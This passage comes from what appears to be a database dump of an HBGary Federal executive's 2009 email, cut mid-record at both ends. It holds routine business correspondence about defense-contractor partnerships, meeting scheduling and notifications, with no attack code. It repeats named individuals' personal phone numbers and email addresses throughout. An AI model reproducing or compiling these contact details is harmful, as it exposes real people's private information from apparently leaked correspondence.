Aaron,&nbsp;Andy Purdy sometimes birddogs opportunities for us.&nbsp; Any interest in this one?&nbsp; Looks like he wants to hook us up with L-3.&nbsp;Bob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc.Phone 301-652-8885 x104&nbsp; |&nbsp; Mobile 240-481-1419bob@hbgary.com&nbsp; |&nbsp;&nbsp;www.hbgary.com&nbsp;From:&nbsp;Andy Purdy [mailto:andy.purdy@comcast.net]&nbsp;Sent:&nbsp;Sunday, November 15, 2009 6:42 PMTo:&nbsp;\'Bob Slapnik\'Subject:&nbsp;RE: Eagle&nbsp;Here is the Centurion info about it.&nbsp;Andy&nbsp;From:&nbsp;Bob Slapnik [mailto:bob@hbgary.com]&nbsp;Sent:&nbsp;Sunday, November 15, 2009 2:02 PMTo:&nbsp;\'Andy Purdy\'Subject:&nbsp;RE: Eagle&nbsp;Andy,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;I don’t know anything about the new Eagle or which agency it is.&nbsp; Can you send me a link describing it?&nbsp;Bob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc.Phone 301-652-8885 x104&nbsp; |&nbsp; Mobile 240-481-1419bob@hbgary.com&nbsp; |&nbsp;&nbsp;www.hbgary.com&nbsp;From:&nbsp;Andy Purdy [mailto:andy.purdy@comcast.net]&nbsp;Sent:&nbsp;Sunday, November 15, 2009 9:16 AMTo:&nbsp;bob@hbgary.comSubject:&nbsp;Eagle&nbsp;Hi Bob,&nbsp;Hope things are going well for you and HB Gary.&nbsp; Keeping my eyes open for a potential sales hire.&nbsp;Is HBGary seeking to be a partner on the new Eagle?&nbsp; If so, I would like to pass along whatever you like to Todd Snedden at L-3 who is looking for business partners.&nbsp;ThanksAndy&nbsp;&lt;Eagle2id=3059.pdf&gt;',4268,'aaron_hbgary_com/4268.html'),(222,'2009-12-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999709.M921118P3547Q223.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Re: Eagle','This is probably something we want to ask of GD as well though. &nbsp;If they are going to be a strategic partner (not sure if that is the case) to go after DHS work then that partnership might also make sense.Bob were we going to set something up to talk with GD?AaronOn Nov 30, 2009, at 3:48 PM, Bob Slapnik wrote:Ted and Aaron,&nbsp;Andy Purdy sometimes birddogs opportunities for us.&nbsp; Any interest in this one?&nbsp; Looks like he wants to hook us up with L-3.&nbsp;Bob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc.Phone 301-652-8885 x104&nbsp; |&nbsp; Mobile 240-481-1419bob@hbgary.com&nbsp; |&nbsp;&nbsp;www.hbgary.com&nbsp;From:&nbsp;Andy Purdy [mailto:andy.purdy@comcast.net]&nbsp;Sent:&nbsp;Sunday, November 15, 2009 6:42 PMTo:&nbsp;\'Bob Slapnik\'Subject:&nbsp;RE: Eagle&nbsp;Here is the Centurion info about it.&nbsp;Andy&nbsp;From:&nbsp;Bob Slapnik [mailto:bob@hbgary.com]&nbsp;Sent:&nbsp;Sunday, November 15, 2009 2:02 PMTo:&nbsp;\'Andy Purdy\'Subject:&nbsp;RE: Eagle&nbsp;Andy,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;I don’t know anything about the new Eagle or which agency it is.&nbsp; Can you send me a link describing it?&nbsp;Bob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc.Phone 301-652-8885 x104&nbsp; |&nbsp; Mobile 240-481-1419bob@hbgary.com&nbsp; |&nbsp;&nbsp;www.hbgary.com&nbsp;From:&nbsp;Andy Purdy [mailto:andy.purdy@comcast.net]&nbsp;Sent:&nbsp;Sunday, November 15, 2009 9:16 AMTo:&nbsp;bob@hbgary.comSubject:&nbsp;Eagle&nbsp;Hi Bob,&nbsp;Hope things are going well for you and HB Gary.&nbsp; Keeping my eyes open for a potential sales hire.&nbsp;Is HBGary seeking to be a partner on the new Eagle?&nbsp; If so, I would like to pass along whatever you like to Todd Snedden at L-3 who is looking for business partners.&nbsp;ThanksAndy&nbsp;&lt;Eagle2id=3059.pdf&gt;',14518,'aaron_hbgary_com/14518.html'),(223,'2009-12-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999709.M97307P3547Q220.eml','\"Matthew Steckman\" <msteckman@palantirtech.com>','Meeting next week','Hey Matt,\r\n\r\nGood visit yesterday.  I think you will really get to like the Xetron  \r\nfolks, very easy to deal with, focused on building capabilities, and  \r\nas I mentioned the most cyber talent in the entire company.\r\n\r\nI look forward to next week.  I was thinking about an hour and a half  \r\nfor presentation/demos for Palantir and HBGary, then another hour to  \r\nhour and a half brainstorming session.  Thoughts?  Does next tueday  \r\nwork?  I got feedback from Greg and Xetron  that was their best day.\r\n\r\nMy grand plan if all of this comes together is to hold an attribution  \r\nsummit, based on the technologies and the approach but then spinning  \r\noff into further conversation on what could be added to that.  I know  \r\nwe can get some very senior people to attend with this partnership and  \r\nthe right agenda.\r\n\r\nThoughts?\r\n\r\nAaron\r\n',7144,'aaron_hbgary_com/7144.html'),(224,'2009-12-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999710.M618501P3547Q224.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','DHS Opportunities','http://www.dhs.gov/xopnbiz/\r\n\r\n\r\n',6226,'aaron_hbgary_com/6226.html'),(225,'2009-12-01','\"Google Calendar\" <calendar-notification@google.com>','/aaron@hbgary.com/new/1296999712.M116925P3547Q225.eml','\"Aaron Barr\" <aaron@hbgary.com>','Reminder: BAE HBSS Discussions @ Tue Dec 1 10am - 11:30am 	(aaron@hbgary.com)',' more details &raquo;BAE HBSS DiscussionsWhenTue Dec 1 10am – 11:30am Eastern TimeWhereHerndon BAE Office (map)Calendaraaron@hbgary.comWho&#x2022;Aaron Barr - organizerInvitation from Google CalendarYou are receiving this email at the account aaron@hbgary.com because you are subscribed for reminders on calendar aaron@hbgary.com.To stop receiving these notifications, please log in to https://www.google.com/calendar/hosted/hbgary.com/ and change your notification settings for this calendar.',9967,'aaron_hbgary_com/9967.html'),(226,'2009-12-01','\"LinkedIn Connections\" <connections@linkedin.com>','/aaron@hbgary.com/new/1296999712.M392106P3547Q226.eml','\"Aaron Barr\" <aaron@hbgary.com>','Ted Vera has accepted your LinkedIn invitation','\r\n\r\n  \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nInvitation Accepted\r\n\r\n\r\n&nbsp;\r\n\r\nCongratulations! You and Ted are now connected.\r\n\r\n \r\n   \r\n   View Ted\'s profile to:\r\n     \r\n       Download Ted\'s current contact information\r\n       Write a recommendation for Ted\r\n       Find opportunities through Ted\'s network\r\n       See who you know in common\r\n     \r\n   &nbsp;\r\n   \r\n   Continue building your network:Every person you connect with builds value for you and all your connections.\r\n \r\n\r\n\r\n&nbsp;\r\n&nbsp;\r\n If these links are not working, you can paste the following address into your browser: http://www.linkedin.com/e/74GQgvacGxZR3E5O7EOQw5Eauzi/fpf/14953458/ Thank you for using LinkedIn! -- The LinkedIn Team\r\nhttp://www.linkedin.com/\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&copy; 2009, LinkedIn Corporation\r\n\r\n\r\n\r\n',2847,'aaron_hbgary_com/2847.html'),(227,'2009-12-01','\"Matthew Steckman\" <msteckman@palantirtech.com>','/aaron@hbgary.com/new/1296999712.M601463P3547Q227.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Meeting next week','Thanks for bringing the Xetron folks over, there are certainly some interesting synergies.  It\'s going to be hard to find 3 hours next week for a meeting.  Id say we shoot for an hour and a half for intros and lay some groundwork for next steps. After I get an idea of the intended path forward Ill need to run it by some folks back in Palo Alto for their input.  Then we can proceed forward.  Sound good?  What day were you thinking for next week?  Currently Wednesday is looking good for me.\r\n\r\nBest regards,\r\nMatt\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com | 202-257-2270\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, December 01, 2009 8:40 AM\r\nTo: Matthew Steckman\r\nSubject: Meeting next week\r\n\r\nHey Matt,\r\n\r\nGood visit yesterday.  I think you will really get to like the Xetron  \r\nfolks, very easy to deal with, focused on building capabilities, and  \r\nas I mentioned the most cyber talent in the entire company.\r\n\r\nI look forward to next week.  I was thinking about an hour and a half  \r\nfor presentation/demos for Palantir and HBGary, then another hour to  \r\nhour and a half brainstorming session.  Thoughts?  Does next tueday  \r\nwork?  I got feedback from Greg and Xetron  that was their best day.\r\n\r\nMy grand plan if all of this comes together is to hold an attribution  \r\nsummit, based on the technologies and the approach but then spinning  \r\noff into further conversation on what could be added to that.  I know  \r\nwe can get some very senior people to attend with this partnership and  \r\nthe right agenda.\r\n\r\nThoughts?\r\n\r\nAaron\r\n',3806,'aaron_hbgary_com/3806.html'),(228,'2009-12-01','\"John Edwards\" <John.Edwards@agilex.com>','/aaron@hbgary.com/new/1296999712.M993382P3547Q228.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Introduction','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nThis week is crazy &#8211; some large proposals.&nbsp; How about\r\nnext week.&nbsp; What is your schedule for next week?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, December 01, 2009 8:36 AM\r\nTo: John Edwards\r\nSubject: Re: Introduction\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi John,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDo you want to try and link up this week or wait until next\r\nweek when Greg gets into town?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Nov 25, 2009, at 4:02 PM, Penny Hoglund wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi John,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI&#8217;d like to introduce you to Aaron Barr, CEO of HBGary\r\nFederal.&nbsp; Aaron just joined HBGary Federal from Northrup Grumman and has a\r\nlot of experience with your old employer.&nbsp; He has his clearance as does\r\nhis President Ted Vera.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAs I told you Greg will be out week of December 7th&nbsp;so perhaps we could all meet\r\nthen.&nbsp; Please feel free to communicate prior to that as well\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks\r\n\r\n\r\n\r\n\r\n\r\nPenny\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6254,'aaron_hbgary_com/6254.html'),(229,'2009-12-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999713.M274980P3547Q229.eml','\"Matthew Steckman\" <msteckman@palantirtech.com>','Re: Meeting next week','Any way to do tuesday or monday or Friday?  We have all day training\r\nwed/thus.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Dec 1, 2009, at 11:34 AM, Matthew Steckman  wrote:\r\n\r\n> Thanks for bringing the Xetron folks over, there are certainly some\r\n> interesting synergies.  It\'s going to be hard to find 3 hours next\r\n> week for a meeting.  Id say we shoot for an hour and a half for\r\n> intros and lay some groundwork for next steps. After I get an idea\r\n> of the intended path forward Ill need to run it by some folks back\r\n> in Palo Alto for their input.  Then we can proceed forward.  Sound\r\n> good?  What day were you thinking for next week?  Currently\r\n> Wednesday is looking good for me.\r\n>\r\n> Best regards,\r\n> Matt\r\n>\r\n> Matthew Steckman\r\n> Palantir Technologies | Forward Deployed Engineer\r\n> msteckman@palantirtech.com | 202-257-2270\r\n>\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Tuesday, December 01, 2009 8:40 AM\r\n> To: Matthew Steckman\r\n> Subject: Meeting next week\r\n>\r\n> Hey Matt,\r\n>\r\n> Good visit yesterday.  I think you will really get to like the Xetron\r\n> folks, very easy to deal with, focused on building capabilities, and\r\n> as I mentioned the most cyber talent in the entire company.\r\n>\r\n> I look forward to next week.  I was thinking about an hour and a half\r\n> for presentation/demos for Palantir and HBGary, then another hour to\r\n> hour and a half brainstorming session.  Thoughts?  Does next tueday\r\n> work?  I got feedback from Greg and Xetron  that was their best day.\r\n>\r\n> My grand plan if all of this comes together is to hold an attribution\r\n> summit, based on the technologies and the approach but then spinning\r\n> off into further conversation on what could be added to that.  I know\r\n> we can get some very senior people to attend with this partnership and\r\n> the right agenda.\r\n>\r\n> Thoughts?\r\n>\r\n> Aaron\r\n',10698,'aaron_hbgary_com/10698.html'),(230,'2009-12-01','\"Penny Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1296999715.M189801P3547Q230.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Meetings Next Week','No not at this time.  \r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, December 01, 2009 5:35 AM\r\nTo: Penny Hoglund\r\nSubject: Meetings Next Week\r\n\r\nHi Penny,\r\n\r\nBesides the list of suggested meetings I have for next week.  Are  \r\nthere any that you would like me to attend that I am not aware of?\r\n\r\nAaron\r\n\r\n',8288,'aaron_hbgary_com/8288.html'),(231,'2009-12-01','\"Penny Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1296999716.M614542P3547Q231.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','RE: HBGary Overview','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nWe do some business with ManTech.&nbsp; (in DOJ)&nbsp; I&#8217;ll get you a\r\nname.&nbsp; \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, November 30, 2009 8:26 PM\r\nTo: Greg Hoglund\r\nCc: Ted Vera; Penny Leavy; Bob Slapnik\r\nSubject: Re: HBGary Overview\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nGreg,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWe had a great meeting today with the Palantir folks and\r\nNorthrop Grumman Xetron. &nbsp;All parties definitely see a huge advantage to\r\nleveraging the two product suites with a service based organization that can\r\nput trained analysts in customer spaces. &nbsp;The press release for this would\r\ncreate a big splash. &nbsp;Palantir is currently the darling in the IC for link\r\nanalysis, married with the strongest malware analysis capability and strong\r\ntechnical operations support - big splash. &nbsp;And we would get to talk about\r\ncountering the APT and making progress on Attribution.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSo next steps I am going to set up a 2-3 hour session next\r\nweek, hopefully Tuesday if it works with your schedule, with the same crowd and\r\nyou. &nbsp;I would like you to give a capabilities and product presentation,\r\nPalantir will do the same. &nbsp;That should take about an hour and a half.\r\n&nbsp;Then I would like to take another hour to hour and a half to brainstorm.\r\n&nbsp;I think you are really going to enjoy this exchange.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAlso whenever works next week I would like to sit down and\r\ntalk about a list of items (I will have them prepared by the session) to\r\ndiscuss. &nbsp;Everything from the finer points of the direction of the HBGary\r\nproduct line to gaps in capabilities such as persistent misattribution for\r\ninternet operations. &nbsp;I think 3 hours should be enough, fit it in where\r\nyou have an opening.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThirdly, I would like to schedule a visit with the Mantech\r\nfolks.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI know Mon,Tues, Fri are the open spots right now, any time\r\nwill work?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Nov 30, 2009, at 10:45 PM, Greg Hoglund wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIts on my other laptop, send it in the morning...\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-Greg\r\n\r\n\r\n\r\n\r\n\r\nOn Mon, Nov 30, 2009 at 1:58 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\n\r\nHi Bob / Greg, \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDo you have a HBGary company overview / capabilities\r\npresentation? &nbsp;Aaron and I are creating one for HBGary Federal and if you\r\nhave one it would be useful as a template.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal, Inc.\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11936,'aaron_hbgary_com/11936.html'),(232,'2009-12-01','\"Luti, William\" <William.Luti@ngc.com>','/aaron@hbgary.com/new/1296999717.M56701P3547Q232.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Status','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron, thanks for the update and I&#8217;m delighted you landed\r\nwell. Yes, let&#8217;s get together for coffee soon to catch up. I&#8217;ll\r\nhave Kathy Zavala set something up this week (I&#8217;m in LA but back Thursday).\r\nBest, Bill\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, December 01, 2009 1:09 AM\r\nTo: Luti, William\r\nCc: Conroy, Thomas W.\r\nSubject: Re: Status\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi Bill,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAny time you want to talk just let me know.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI am very excited about HBGarys capabilities in malware\r\nanalysis and incident response. &nbsp;Their new product suite is the closest I\r\nhave seen to being able to identify and counter the zero day threat. &nbsp;My\r\nfirst meeting in my new position was with Palantir today to discuss the\r\nstrength of an HBGary/Palantir combined capability. &nbsp;I believe marrying\r\nHBGary\'s strong malware analysis and fingerprinting capabilities with Palantirs\r\nlink analysis capabilities could produce a joined capability that can make some\r\nheadway towards attribution. &nbsp;HBGary Federal will focus on building a core\r\nof highly trained and talented analysts that can leverage these tools to their\r\nfullest potential.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nIn addition HBGary Federal will start to build services and\r\nsolutions business in the information operations arena. &nbsp;Being the CEO of\r\na small organization affords me certain latitudes to develop capabilities and\r\noperate in certain ways that the larger defense contractors would not touch for\r\nrisk reasons. &nbsp;Small companies with well known capabilities are also\r\nattractive grounds for a category of highly talented people that tend to shy\r\naway from the larger organizations. &nbsp;Ted and I are good at building these\r\ntypes of teams.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI think in these few areas as a first cut HBGary could be a\r\nvaluable asset to a company like Northrop.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nV/R,\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n719.510.i478\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Nov 30, 2009, at 9:54 PM, Conroy, Thomas W. wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron -\r\n\r\nI\'m flying to LA with Bill Luti and mentioned that you and Ted have landed at\r\nHBGary. Bill was very interested and asked for contact information. So here you\r\ngo.\r\n\r\nMy great hope is that by working together, NGC and HBGary, we can do much more\r\nthan we could do apart. And that together we can provide breakthrough national\r\nsecurity enhancements.\r\n\r\nGood luck.\r\n\r\nTom\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13254,'aaron_hbgary_com/13254.html'),(233,'2009-12-01','\"Matthew Steckman\" <msteckman@palantirtech.com>','/aaron@hbgary.com/new/1296999717.M729820P3547Q233.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Meeting next week','Monday is good, just send me a time.\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com | 202-257-2270\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, December 01, 2009 12:31 PM\r\nTo: Matthew Steckman\r\nSubject: Re: Meeting next week\r\n\r\nAny way to do tuesday or monday or Friday?  We have all day training\r\nwed/thus.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Dec 1, 2009, at 11:34 AM, Matthew Steckman  wrote:\r\n\r\n> Thanks for bringing the Xetron folks over, there are certainly some\r\n> interesting synergies.  It\'s going to be hard to find 3 hours next\r\n> week for a meeting.  Id say we shoot for an hour and a half for\r\n> intros and lay some groundwork for next steps. After I get an idea\r\n> of the intended path forward Ill need to run it by some folks back\r\n> in Palo Alto for their input.  Then we can proceed forward.  Sound\r\n> good?  What day were you thinking for next week?  Currently\r\n> Wednesday is looking good for me.\r\n>\r\n> Best regards,\r\n> Matt\r\n>\r\n> Matthew Steckman\r\n> Palantir Technologies | Forward Deployed Engineer\r\n> msteckman@palantirtech.com | 202-257-2270\r\n>\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Tuesday, December 01, 2009 8:40 AM\r\n> To: Matthew Steckman\r\n> Subject: Meeting next week\r\n>\r\n> Hey Matt,\r\n>\r\n> Good visit yesterday.  I think you will really get to like the Xetron\r\n> folks, very easy to deal with, focused on building capabilities, and\r\n> as I mentioned the most cyber talent in the entire company.\r\n>\r\n> 